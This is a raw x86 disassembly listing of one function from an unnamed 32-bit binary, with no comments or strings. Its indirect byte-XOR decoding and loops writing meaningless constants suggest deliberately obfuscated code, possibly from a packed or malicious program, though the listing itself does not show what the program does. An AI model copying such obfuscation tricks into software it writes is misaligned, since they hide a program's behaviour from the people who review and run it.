cmp dword [ebp - 0x44], eax
jne 0x1001e405
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0xd8]
inc eax
mov dword [ebp - 0x2c8], eax
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0xd8]
mov ecx, dword [ebp - 0x44]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x44], eax
jmp 0x1001e3b3
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x2c8]
movzx eax, byte [ebp + eax - 0xda]
movsx eax, byte [ebp + eax - 0x1c8]
mov ecx, dword [ebp - 0x44]
movzx ecx, byte [ebp + ecx - 0xd7]
and ecx, eax
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x2c8]
movzx eax, byte [ebp + eax - 0xda]
movsx eax, byte [ebp + eax - 0x1c8]
mov edx, dword [ebp - 0x44]
movzx edx, byte [ebp + edx - 0xd7]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0xd8]
mov byte [ebp + eax - 0x1c8], dl
and dword [ebp - 0x2c8], 0
jmp 0x1001e3b3
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x1c8], 0
mov eax, dword [0x106199c0]
and eax, 4
jne 0x1001e4bd
mov eax, dword [0x106199c0]
or eax, 4
mov dword [0x106199c0], eax
mov dword [ebp - 4], 0x43
lea eax, [ebp - 0x1c8]
push eax
mov ecx, 0x106199a4
call fcn.10022102
push 0x100711e8
call fcn.10058fc5
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x2d0], 0
jmp 0x1001e4d3
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 4
jae 0x1001e4ec
mov eax, dword [ebp - 0x2d0]
mov byte [ebp + eax - 0x1c8], 0
jmp 0x1001e4c6
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x170], eax
movsx eax, byte [0x10619980]
mov ecx, dword [ebp - 0x170]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x1001e51b
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
jmp 0x1001e4f8
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
push dword [ebp - 0x170]
push dword [ebp - 0xf4]
lea ecx, [ebp - 0x129c]
call fcn.100269f7
mov dword [ebp - 4], 0x44
push 0x106199a4
lea ecx, [ebp - 0x129c]
call fcn.1002213b
lea eax, [ebp - 0x10d4]
push eax
lea ecx, [ebp - 0x129c]
call fcn.10022160
push dword [eax]
lea eax, [ebp - 0x11dc]
push eax
lea ecx, [ebp - 0x129c]
call fcn.1002214c
push dword [eax]
lea ecx, [ebp - 0x1320]
call fcn.10026a20
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x1320]
push eax
call fcn.1000abec
pop ecx
mov dword [ebp - 0x454], eax
cmp dword [ebp - 0x454], 0
je 0x1001e626
push dword [ebp - 0x170]
lea ecx, [ebp - 0x12c0]
call fcn.10022102
mov byte [ebp - 4], 0x46
lea edx, [ebp - 0xc0c]
lea ecx, [ebp - 0x12c0]
call fcn.1000a40e
movzx eax, al
test eax, eax
je 0x1001e5f6
push 0
push dword [ebp - 0xc0c]
push 0
push dword [ebp - 0x454]
call fcn.10015299
add esp, 0x10
mov dword [ebp - 0xf4], eax
jmp 0x1001e615
push 1
push 0
lea eax, [ebp - 0x12c0]
push eax
push dword [ebp - 0x454]
call fcn.10015299
add esp, 0x10
mov dword [ebp - 0xf4], eax
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x12c0]
call fcn.10022131
jmp 0x1001e65c
cmp dword [ebp + 0x10], 0
jne 0x1001e63c
mov ecx, dword [ebp + 0xc]
call fcn.10021b1d
mov dword [ebp - 0x574], eax
jmp 0x1001e646
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x574], eax
push dword [ebp - 0x574]
push dword [ebp + 8]
call fcn.1000fe72
pop ecx
pop ecx
mov dword [ebp - 0xf4], eax
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x1320]
call fcn.100220bb
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x129c]
call fcn.10022131
mov eax, dword [ebp - 0xf4]
jmp 0x1001e832
push 2
lea ecx, [ebp - 0xf6c]
call fcn.100221ae
mov dword [ebp - 4], 0x47
push 4
lea ecx, [ebp - 0x11d8]
call fcn.100221ae
mov byte [ebp - 4], 0x48
mov dword [ebp - 0x1c], 0
jmp 0x1001e6ba
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1001e6d6
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xf6c]
call fcn.10022272
mov dword [eax], 0xf0ea75c9
jmp 0x1001e6b3
mov dword [ebp - 0x1c], 0
jmp 0x1001e6e6
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x1001e6fc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x224], 0xdf2f4a8b
jmp 0x1001e6df
mov dword [ebp - 0x1c], 0
jmp 0x1001e70c
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x1001e728
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x11d8]
call fcn.10022272
mov dword [eax], 0x3eee2fde
jmp 0x1001e705
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x224], 0
jmp 0x1001e756
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x224]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x224], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x224], 1
jg 0x1001e812
push 1
lea ecx, [ebp - 0xfd8]
call fcn.100221ae
mov byte [ebp - 4], 0x49
mov dword [ebp - 0x57c], 0
mov dword [ebp - 0x2d8], 0
jmp 0x1001e79e
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 1
jge 0x1001e7c0
push dword [ebp - 0x2d8]
lea ecx, [ebp - 0xfd8]
call fcn.10022272
mov dword [eax], 0x88999d94
jmp 0x1001e791
mov eax, dword [ebp - 0x57c]
dec eax
mov dword [ebp - 0x57c], eax
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x224]
lea ecx, [ebp - 0xf6c]
call fcn.10022272
cmp dword [eax], 0
je 0x1001e7fe
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0xfd8]
call fcn.10022230
jmp 0x1001e73b
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0xfd8]
call fcn.10022230
jmp 0x1001e73b
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x11d8]
call fcn.10022230
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf6c]
call fcn.10022230
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret